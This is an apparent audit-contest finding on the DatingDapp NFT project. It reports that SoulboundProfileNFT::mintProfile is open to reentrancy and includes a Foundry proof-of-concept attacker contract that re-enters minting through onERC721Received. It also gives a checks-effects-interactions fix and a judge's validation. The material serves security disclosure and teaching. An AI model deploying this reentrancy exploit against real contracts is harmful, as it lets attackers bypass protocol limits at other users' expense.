DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

`SoulboundProfileNFT::mintProfile` is vulnerable to reentrancy attacks, allowing users to mint more than one profile.

Description

The function SoulboundProfileNFT::mintProfile doesn't follow CEI pattern as it updates the state at the very end, allowing reentrancy due to the external call made in ERC721::_safeMint.

Impact

Malicious users can create a smart contract that implements checkOnERC721Received() that reenters the function SoulboundProfileNFT::mintProfile.

Proof of Concepts

Add the following contract and test to testSouldboundProfileNFT.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../src/SoulboundProfileNFT.sol"; // Import the target contract
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrantAttacker is IERC721Receiver {
SoulboundProfileNFT public target;
address public owner;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
owner = msg.sender;
}
function attack() external {
target.mintProfile("Attacker", 30, "ipfs://fakeImage");
}
// This function is automatically called when receiving an NFT
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
// Re-enter the mintProfile() function
target.mintProfile("Reentrant", 25, "ipfs://exploitImage");
return IERC721Receiver.onERC721Received.selector;
}
}
function testReentrancyExploit() public {
address attackerAddress = address(0x999);
vm.deal(attackerAddress, 10 ether); // Fund attacker with ETH
attacker = new ReentrantAttacker(address(soulboundNFT));
vm.prank(attackerAddress);
attacker.attack();
uint256 attackerToken = soulboundNFT.profileToToken(attackerAddress);
uint256 exploitToken = soulboundNFT.profileToToken(address(attacker));
assertEq(attackerToken, 1, "Attacker should get the first token");
assertEq(exploitToken, 2, "Reentrant exploit should mint an additional token");
}

Recommended mitigation

Add the following changes to SoulboundProfileNFT::mintProfile

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.